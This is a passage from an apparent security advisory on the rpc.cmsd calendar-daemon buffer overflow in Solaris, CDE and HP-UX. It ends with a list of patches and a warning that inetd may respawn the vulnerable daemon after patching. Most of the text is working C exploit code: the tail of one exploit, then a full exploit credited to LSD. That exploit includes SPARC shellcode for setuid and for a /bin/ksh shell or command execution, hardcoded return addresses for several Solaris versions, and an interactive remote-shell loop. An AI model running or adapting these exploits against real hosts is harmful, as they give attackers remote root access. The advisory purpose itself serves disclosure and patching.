          (void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]);
          exit(-1);
        }

      (void)memset(&sin,0,sizeof(sin));
      sin.sin_family = AF_INET;

      if(!(sin.sin_addr.s_addr=resolve(argv[1])))
        {
          (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
          exit(-1);
        }

      (void)memset(&tv,0,sizeof(tv));
      tv.tv_sec = 7;

      sock = RPC_ANYSOCK;
      if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock)))
        {
          (void)clnt_pcreateerror(argv[0]);
          exit(1);
        }
      c->cl_auth = authunix_create(argv[1],0,0,0,0);

      (void)memset(&toa,0,sizeof(toa));
      toa.target = cname;

      (void)memset(&ts,0,sizeof(ts));

      if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa,
	           xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS)
        {
          (void)clnt_perror(c,"error: rtable_create");
          exit(-1);
        }

      (void)memset(abuf,0xff,sizeof(abuf));
      abuf[sizeof(abuf)-1] = 0;

      for(ptr=(unsigned long *)obuf;
          ptr<(unsigned long *)(obuf+BUFSIZ-(sizeof(c0de)-sizeof(unsigned long)));
          ptr++)
        *ptr = *(unsigned long *)c0de;

      (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

      ptr += ((sizeof(c0de)/sizeof(unsigned long))-1);

      for(;ptr<(unsigned long *)(obuf+BUFSIZ+PRE_RET);ptr++)
        *ptr = (0xeffffff0-RW_OFFSET);

      for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ);ptr++)
        *ptr = (0xeffffff0-X_OFFSET);

      for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ+NOPS);ptr++)
        *ptr = *(unsigned long *)c0de;

      (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

      (void)memset(&ap,0,sizeof(ap));
      ap.duration = ap.ntimes = ap.period.period = ap.period.nth = 1;
      ap.what = abuf;
      ap.client_data = &obuf[2];

      (void)memset(&ta,0,sizeof(ta));
      ta.args.tag = APPT;
      ta.target = cname;
      ta.args.Args_u.appt = ≈

      (void)memset(&tr,0,sizeof(tr));

      if(clnt_call(c,rtable_insert,xdr_Table_Args,(caddr_t)&ta,
	           xdr_Table_Res,(caddr_t)&tr,tv)!=RPC_SUCCESS)
        (void)printf("possible success\n");
      else
        {
          (void)fprintf(stderr,"error: exploit faile: rtable_insert returned\n");
          exit(-1);
        }

      (void)clnt_destroy(c);

      return(0);
    }

    Code by LSD:

    /*## copyright LAST STAGE OF DELIRIUM jul 1999 poland        *://lsd-pl.net/ #*/
    /*## rpc.cmsd                                                                #*/
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <rpc/rpc.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <errno.h>
    
    #define ADRNUM 1500
    #define NOPNUM 1600
    
    #define CMSD_PROG 100068
    #define CMSD_VERS 4
    #define CMSD_PING 0
    #define CMSD_CREATE 21
    #define CMSD_INSERT 6
    
    char findsckcode[]=
        "\x20\xbf\xff\xff"     /* bn,a    <findsckcode-4>      */
        "\x20\xbf\xff\xff"     /* bn,a    <findsckcode>        */
        "\x7f\xff\xff\xff"     /* call    <findsckcode+4>      */
        "\xa0\x20\x3f\xff"     /* sub     %g0,-1,%l0           */
        "\xa4\x03\xff\xd0"     /* add     %o7,-48,%l2          */
        "\xa6\x10\x20\x44"     /* mov     0x44,%l3             */
        "\xa8\x10\x23\xff"     /* mov     0x3ff,%l4            */
        "\xaa\x03\xe0\x44"     /* add     %o7,68,%l5           */
        "\x81\xc5\x60\x08"     /* jmp     %l5+8                */
    
        "\xaa\x10\x20\xff"     /* mov     0xff,%l5             */
        "\xab\x2d\x60\x08"     /* sll     %l5,8,%l5            */
        "\xaa\x15\x60\xff"     /* or      %l5,0xff,%l5         */
        "\xe2\x03\xff\xd0"     /* ld      [%o7-48],%l1         */
        "\xac\x0c\x40\x15"     /* and     %l1,%l5,%l6          */
        "\x2b\x00\x00\x00"     /* sethi   %hi(0x00000000),%l5  */
        "\xaa\x15\x60\x00"     /* or      %l5,0x000,%l5        */
        "\xac\x05\x40\x16"     /* add     %l5,%l6,%l6          */
        "\xac\x05\xbf\xff"     /* add     %l6,-1,%l6           */
        "\x80\xa5\xbf\xff"     /* cmp     %l6,-1               */
        "\x02\xbf\xff\xf5"     /* be      <findsckcode+32>     */
        "\xaa\x03\xe0\x7c"     /* add     %o7,0x7c,%l5         */
    
        "\xe6\x23\xff\xc4"     /* st      %l3,[%o7-60]         */
        "\xc0\x23\xff\xc8"     /* st      %g0,[%o7-56]         */
        "\xe4\x23\xff\xcc"     /* st      %l2,[%o7-52]         */
        "\x90\x04\x3f\xff"     /* add     %l0,-1,%o0           */
        "\xaa\x10\x20\x54"     /* mov     0x54,%l5             */
        "\xad\x2d\x60\x08"     /* sll     %l5,8,%l6            */
        "\x92\x15\xa0\x91"     /* or      %l6,0x91,%o1         */
        "\x94\x03\xff\xc4"     /* add     %o7,-60,%o2          */
        "\x82\x10\x20\x36"     /* mov     0x36,%g1             */
        "\x91\xd0\x20\x08"     /* ta      8                    */
        "\xa0\x24\x3f\xff"     /* sub     %l0,-1,%l0           */
        "\x1a\xbf\xff\xe9"     /* bcc     <findsckcode+36>     */
        "\x80\xa4\x23\xff"     /* cmp     %l0,0x3ff            */
        "\x04\xbf\xff\xf3"     /* bl      <findsckcode+84>     */
    
        "\xaa\x20\x3f\xff"     /* sub     %g0,-1,%l5           */
        "\x90\x05\x7f\xff"     /* add     %l5,-1,%o0           */
        "\x82\x10\x20\x06"     /* mov     0x6,%g1              */
        "\x91\xd0\x20\x08"     /* ta      8                    */
        "\x90\x04\x3f\xfe"     /* add     %l0,-2,%o0           */
        "\x82\x10\x20\x29"     /* mov     0x29,%g1             */
        "\x91\xd0\x20\x08"     /* ta      8                    */
        "\xaa\x25\x7f\xff"     /* sub     %l5,-1,%l5           */
        "\x80\xa5\x60\x03"     /* cmp     %l5,3                */
        "\x04\xbf\xff\xf8"     /* ble     <findsckcode+144>    */
        "\x80\x1c\x40\x11"     /* xor     %l1,%l1,%g0          */
    ;
    
    char setuidcode[]=
        "\x90\x08\x3f\xff"     /* and     %g0,-1,%o0           */
        "\x82\x10\x20\x17"     /* mov     0x17,%g1             */
        "\x91\xd0\x20\x08"     /* ta      8                    */
    ;
    
    char shellcode[]=
        "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>        */
        "\x20\xbf\xff\xff"     /* bn,a    <shellcode>          */
        "\x7f\xff\xff\xff"     /* call    <shellcode+4>        */
        "\x90\x03\xe0\x24"     /* add     %o7,32,%o0           */
        "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
        "\x98\x03\xe0\x24"     /* add     %o7,32,%o4           */
        "\xc0\x23\x20\x08"     /* st      %g0,[%o4+8]          */
        "\xd0\x23\x20\x10"     /* st      %o0,[%o4+16]         */
        "\xc0\x23\x20\x14"     /* st      %g0,[%o4+20]         */
        "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
        "\x91\xd0\x20\x08"     /* ta      8                    */
        "/bin/ksh"
    ;
    
    char cmdshellcode[]=
        "\x20\xbf\xff\xff"     /* bn,a    <cmdshellcode-4>     */
        "\x20\xbf\xff\xff"     /* bn,a    <cmdshellcode>       */
        "\x7f\xff\xff\xff"     /* call    <cmdshellcode+4>     */
        "\x90\x03\xe0\x34"     /* add     %o7,52,%o0           */
        "\x92\x23\xe0\x20"     /* sub     %o7,32,%o1           */
        "\xa2\x02\x20\x0c"     /* add     %o0,12,%l1           */
        "\xa4\x02\x20\x10"     /* add     %o0,16,%l2           */
        "\xc0\x2a\x20\x08"     /* stb     %g0,[%o0+8]          */
        "\xc0\x2a\x20\x0e"     /* stb     %g0,[%o0+14]         */
        "\xd0\x23\xff\xe0"     /* st      %o0,[%o7-32]         */
        "\xe2\x23\xff\xe4"     /* st      %l1,[%o7-28]         */
        "\xe4\x23\xff\xe8"     /* st      %l2,[%o7-24]         */
        "\xc0\x23\xff\xec"     /* st      %g0,[%o7-20]         */
        "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
        "\x91\xd0\x20\x08"     /* ta      8                    */
        "/bin/ksh    -c  "
    ;
    
    static char nop[]="\x80\x1c\x40\x11";
    
    typedef struct{char *target,*new_target;}req1_t;
    
    typedef struct{
        struct{long tick,key;}appt_id;
        void *tag;
        int duration,ntimes;
        char *what;
        struct{int period,nth;long enddate;}period;
        char *author,*client_data;
        void *exception,*attr;
        int appt_status,privacy;
        void *next;
    }appt_t;
    
    typedef struct{
        char *target;
        struct{
            int tag;
            union{struct{void *v1,*v2;int i;}apptid;appt_t *appt;}args_u;
        }args;
        int pid;
    }req2_t;
    
    bool_t xdr_req1(XDR *xdrs,req1_t *obj){
        if(!xdr_string(xdrs,&obj->target,~0)) return(FALSE);
        if(!xdr_string(xdrs,&obj->new_target,~0)) return(FALSE);
    }
    
    bool_t xdr_appt(XDR *xdrs,appt_t *objp){
        char *v=NULL;long l=0;int i=0;
        if(!xdr_long(xdrs,&l)) return(FALSE);
        if(!xdr_long(xdrs,&l)) return(FALSE);
        if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
        if(!xdr_int(xdrs,&i)) return(FALSE);
        if(!xdr_int(xdrs,&objp->ntimes)) return(FALSE);
        if(!xdr_string(xdrs,&objp->what,~0)) return(FALSE);
        if(!xdr_int(xdrs,&objp->period.period)) return(FALSE);
        if(!xdr_int(xdrs,&i)) return(FALSE);
        if(!xdr_long(xdrs,&l)) return(FALSE);
        if(!xdr_string(xdrs,&objp->author,~0)) return(FALSE);
        if(!xdr_string(xdrs,&objp->client_data,~0)) return(FALSE);
        if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
        if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
        if(!xdr_int(xdrs,&i)) return(FALSE);
        if(!xdr_int(xdrs,&i)) return(FALSE);
        if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
        return(TRUE);
    }
    
    bool_t xdr_req2(XDR *xdrs,req2_t *obj){
        if(!xdr_string(xdrs,&obj->target,~0)) return(FALSE);
        if(!xdr_int(xdrs,&obj->args.tag)) return(FALSE);
        if(!xdr_pointer(xdrs,(char**)&obj->args.args_u.appt,sizeof(appt_t),
            xdr_appt)) return(FALSE);
        if(!xdr_int(xdrs,&obj->pid)) return(FALSE);
        return(TRUE);
    }
    
    main(int argc,char **argv){
        char buffer[30000],address[4],*b,*cmd;
        int i,c,n,flag=0,vers=7,port=0,sck;
        CLIENT *cl;enum clnt_stat stat;
        struct hostent *hp;
        struct sockaddr_in adr;
        struct timeval tm={10,0};
        req1_t req1;req2_t req2;appt_t ap;
        char calendar[32];
    
        printf("copyright LAST STAGE OF DELIRIUM jul 1999 poland  //lsd-pl.net/\n");
        printf("rpc.cmsd for solaris 2.5 2.5.1 2.6 2.7 sparc\n\n");
    
        if(argc<2){
            printf("usage: %s address [-t][-s|-c command] [-p port] [-v 5|6|7]\n",
                argv[0]);
            exit(-1);
        }
    
        while((c=getopt(argc-1,&argv[1],"tsc:p:v:"))!=-1){
            switch(c){
            case 't': flag|=4;break;
            case 's': flag|=2;break;
            case 'c': flag|=1;cmd=optarg;break;
            case 'p': port=atoi(optarg);break;
            case 'v': vers=atoi(optarg);
            }
        }
    
        if(vers==5) *(unsigned long*)address=htonl(0xefffcf48+600);
        if(vers==6) *(unsigned long*)address=htonl(0xefffed0c+100);
        if(vers==7) *(unsigned long*)address=htonl(0xffbeea8c+600);
    
        printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
        fflush(stdout);
    
        adr.sin_family=AF_INET;
        adr.sin_port=htons(port);
        if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if((hp=gethostbyname(argv[1]))==NULL){
                errno=EADDRNOTAVAIL;perror("\nerror");exit(-1);
            }
            memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
        }else{
            if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
                errno=EADDRNOTAVAIL;perror("\nerror");exit(-1);
            }
        }
        if((b=(char*)strchr(hp->h_name,'.'))!=NULL) *b=0;
    
        if(flag&4){
            sck=RPC_ANYSOCK;
            if(!(cl=clntudp_create(&adr,CMSD_PROG,CMSD_VERS,tm,&sck))){
                clnt_pcreateerror("\nerror");exit(-1);
            }
            stat=clnt_call(cl,CMSD_PING,xdr_void,NULL,xdr_void,NULL,tm);
            if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);}
            clnt_destroy(cl);
            if(flag==4) {printf("sent!\n");exit(0);}
        }
    
        adr.sin_port=htons(port);
    
        sck=RPC_ANYSOCK;
        if(!(cl=clnttcp_create(&adr,CMSD_PROG,CMSD_VERS,&sck,0,0))){
            clnt_pcreateerror("\nerror");exit(-1);
        }
        cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);
    
        sprintf(calendar,"xxx.XXXXXX");
        req1.target=mktemp(calendar);
        req1.new_target="";
    
        stat=clnt_call(cl,CMSD_CREATE,xdr_req1,&req1,xdr_void,NULL,tm);
        if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);}
    
        b=buffer;
        for(i=0;i<ADRNUM;i++) *b++=address[i%4];
        *b=0;
        b=&buffer[2000];
        for(i=0;i<2;i++) *b++=0xff;
        for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    
        if(flag&2){
            i=sizeof(struct sockaddr_in);
            if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
                struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
                ioctl(sck,(('S'<<8)|2),"sockmod");
                nb.maxlen=0xffff;
                nb.len=sizeof(struct sockaddr_in);;
                nb.buf=(char*)&adr;
                ioctl(sck,(('T'<<8)|144),&nb);
            }
            n=-ntohs(adr.sin_port);
            printf("port=%d connected! ",-n);fflush(stdout);
    
            *((unsigned long*)(&findsckcode[56]))|=htonl((n>>10)&0x3fffff);
            *((unsigned long*)(&findsckcode[60]))|=htonl(n&0x3ff);
            for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
            for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
            for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
        }else{
            for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
            for(i=0;i<strlen(cmdshellcode);i++) *b++=cmdshellcode[i];
            for(i=0;i<strlen(cmd);i++) *b++=cmd[i];
            *b++=';';
            for(i=0;i<3+4-((strlen(cmd)%4));i++) *b++=0xff;
        }
        *b=0;
    
        ap.client_data=buffer;
        ap.what=&buffer[2000];
        ap.author="";
        ap.ntimes=1;
        ap.period.period=1;
        req2.target=calendar;
        req2.args.tag=3;
        req2.args.args_u.appt=≈
    
        stat=clnt_call(cl,CMSD_INSERT,xdr_req2,&req2,xdr_void,NULL,tm);
        if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
        printf("sent!\n");if(flag&1) exit(0);
    
        write(sck,"/bin/uname -a\n",14);
        while(1){
            fd_set fds;
            FD_ZERO(&fds);
            FD_SET(0,&fds);
            FD_SET(sck,&fds);
            if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
                int cnt;
                char buf[1024];
                if(FD_ISSET(0,&fds)){
                    if((cnt=read(0,buf,1024))<1){
                        if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                        else break;
                    }
                    write(sck,buf,cnt);
                }
                if(FD_ISSET(sck,&fds)){
                    if((cnt=read(sck,buf,1024))<1){
                        if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                        else break;
                    }
                    write(1,buf,cnt);
                }
            }
        }
    }

SOLUTION

    The following patches have now been released:

        107022-03 	CDE 1.3 (Solaris 7/SPARC)
        107023-03 	CDE 1.3_x86 (Solaris 7/x86)
        105566-07   CDE 1.2 (Solaris 7/SPARC)
        105567-08   CDE 1.2_x86 (Solaris 7/x86)

        105567-08 	CDE 1.2_x86  (Solaris 2.6)
        104976-04 	OW 3.5.1     (Solaris 2.5.1)
        105124-03 	OW 3.5.1_x86 (Solaris 2.5.1_x86)
        103251-09 	OW 3.5       (Solaris 2.5)
        103273-07 	OW 3.5_x86   (Solaris 2.5_x86)
        101513-14 	OW 3.3	     (Solaris 2.3)
        100523-25	OW 3.0	     (SunOS 4.1.3/4.1.3C/4.1.3_U1/4.1.4)

    Already released was (one week ago):

        105566-07	CDE 1.2 (Solaris 2.6/SPARC)

    Be  aware  that  when  these  patches  are  applied,  the existing
    rpc.cmsd  process  (if  one  exists)  seems  to  be  killed  in  a
    *prepatch*  script--that  is,  *before*  the programs are updated.
    This  is  not  just  a  minor  race condition: under at least some
    circumstances, inetd will  respawn rpc.cmsd *immediately*  when it
    dies, syslogging a message like:

        Jul 15 12:24:20 hostname inetd[150]: /usr/openwin/bin/rpc.cmsd:  Child Status Changed

    ...thus, systems may still be running the old, vulnerable daemon
    after installing the patch  unless the rpc.cmsd process  is killed
    *after* the patch has been installed.   It will be addressed in  a
    future release.

    Solaris 2.4 is vulnerable, AFAIK,  but the patches for it  haven't
    been finished  yet.   Both CDE  1.0.1/1.0.2   (which have seperate
    rpc.cmsd  binaries;  these  were  merged  in  later  releases) and
    Solaris 2.4 patches will be released at a later date.

    As for HP, install the applicable patch:

        For HP-UX release 10.20         PHSS_19482
        For HP-UX release 10.24         PHSS_19702;
        For HP-UX release 11.00         PHSS_19483

    There are significant patch dependencies for both patches.   HP-UX
    release 10.30 was a development release prior to the  availability
    of HP-UX release 11.00.  HP-UX release 10.30 will not be patched.

    SCO  is  investigating  this  problem.   The following SCO product
    contains CDE and is potentially vulnerable: SCO UnixWare 7.